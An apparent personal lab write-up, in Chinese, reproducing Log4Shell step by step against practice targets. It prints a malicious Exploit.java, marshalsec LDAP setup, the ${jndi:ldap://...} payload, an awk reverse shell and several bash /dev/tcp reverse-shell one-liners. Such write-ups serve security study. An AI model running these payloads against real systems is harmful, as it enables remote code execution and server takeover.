本次記錄自己測試時每一步操作,很詳細。
本次復現分為curl測試和拿shell兩種操作,測試完curl后體驗時長到期了,只能換環境了。
本次測試環境如下:
curl------------------------------------------------------
靶場: http://d63bb2586.lab.aqlab.cn/
攻擊機:106.15.47.238(阿里雲的一小時體驗服務器)
拿shell--------------------------------------------------
靶場: 192.168.11.136(centos7)
攻擊機:192.168.11.128(kali)
curl測試:
攻擊機-----------------------
安裝java環境:
jdk1.8.0_181
鏈接:https://pan.baidu.com/s/1Rt-XLjY2Od6RFQDYkrN7wg
提取碼:6rec
下載好后使用rz傳到vps上:
#yum install lrzsz #rz
解壓縮:
tar -zxvf jdk-8u181-linux-x64.tar.gz
Copy到/usr/jdk:
cp -r jdk1.8.0_181/ /usr/jdk
編輯環境變量:
vi /etc/profile
將下面配置添加到文件最后:
export JAVA_HOME=/usr/jdk export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib:$CLASSPATH export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH
告訴系統jdk的位置:
update-alternatives --install "/usr/bin/java" "java" "/usr/jdk/bin/java" 1 update-alternatives --install "/usr/bin/javac" "javac" "/usr/jdk/bin/javac" 1 update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/jdk/bin/javaws" 1 update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/jdk/bin/javaws" 1
設置新的jdk為默認:
update-alternatives --set java /usr/jdk/bin/java update-alternatives --set java /usr/jdk/bin/java update-alternatives --set javac /usr/jdk/bin/javac update-alternatives --set javac /usr/jdk/bin/javac update-alternatives --set javaws /usr/jdk/bin/javaws update-alternatives --set javaws /usr/jdk/bin/javaws
重載profile文件:
source /etc/profile
查看jdk版本:
java -version
到此java環境安裝完畢。
編寫一個惡意類,命名為Exploit.java,這里用curl測試:
vi Exploit.java
寫入:
public class Exploit { public Exploit(){ try{ // 要執行的命令 String[] commands = {"curl","http://106.15.47.238:5678"}; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { Exploit e = new Exploit(); } }
編譯:
javac Exploit.java
開個http服務,等會用來驗證是否命令被目標執行:
安裝maven:
wget https://mirrors.cnnic.cn/apache/maven/maven-3/3.8.4/binaries/apache-maven-3.8.4-bin.tar.gz
解壓:
tar -zxvf apache-maven-3.8.4-bin.tar.gz
配置:
update-alternatives --install /usr/bin/mvn mvn ~/apache-maven-3.8.4/bin/mvn 1
環境變量配置:
vi /etc/profile
最下面添加:
export MAVEN_HOME=~/apache-maven-3.8.4 export PATH=$MAVEN_HOME/bin:$PATH
重載profile文件:
source /etc/profile
裝git:
yum install git
下載marshalsec工具
git clone https://hub.fastgit.org/mbechler/marshalsec.git
進入marshalsec文件夾,使用maven編譯marshalsec成jar包:
mvn clean package -DskipTests
耐心等待ing...
來了
在Exploit.java文件所在目錄開個http服務:
進入target文件夾,搭建個LDAP服務:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://106.15.47.238:1234/#Exploit 8899
訪問靶場:
http://d63bb2586.lab.aqlab.cn/
點擊登錄后,目標執行命令curl我們的5678端口:
-------------------------------------------------------- --------------------------------------------------------
這時候靶場1小時時間到期了嗚嗚。
拿shell:
簡介:
靶機: 192.168.11.136(centos7)
攻擊機:192.168.11.128(kali)
和以上curl操作相同,只是修改被執行的命令為反彈shell。
靶機docker環境搭建:
裝docker
curl -s https://get.docker.com/ | sh
啟動docker:
service docker start
拉鏡像:
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
容器:
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
進容器:
docker exec -it log4j_vuln_container /bin/bash
開tomcat服務:
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
到此為止靶機環境搭建好了。
攻擊機-----------
配java環境、各種組件。和上面curl操作步驟一樣。
配好環境和相關組件后,在Exploit.java所在目錄啟個http服務:
python -m SimpleHTTPServer 1234
開啟LDAP服務:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.11.128:1234/#Exploit 8899
惡意類內容.編輯Exploit.java文件,利用curl反彈shell:
vi Exploit.java
編譯:
再啟個http服務供目標機器來訪問bash.html:
Bash.html內容:意思是把shell反彈到攻擊機4444端口:
awk 'BEGIN {s = "/inet/tcp/0/192.168.11.128/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Nc監聽4444,坐等shell:
nc –lvnp 4444
最后訪問http://192.168.11.136:8080/webstudy/hello-fengxuan
Post請求c=${jndi:ldap://192.168.11.128:8899/id}
過程:
目標Curl攻擊機的8888端口,內容為反彈shell到攻擊機4444端口:
收到shell:
-----------------------
問 為什么要這樣反彈,麻煩不煩啊!
答 因為其他方式本人沒彈出來(委屈)
bash -i >& /dev/tcp/192.168.11.128/4444 0>&1
bash -i > /dev/tcp/192.168.11.128/4444 0<&1 2>&1
exec 196<>/dev/tcp/192.168.11.128/4444; sh <&196 >&196 2>&196
晚安
參考:
https://cloud.tencent.com/developer/article/1853055?from=article.detail.1577831
https://mp.weixin.qq.com/s/4cvooT4tfQhjL7t4GFzYFQ
https://cloud.tencent.com/developer/article/1577831
聲明:
由於傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。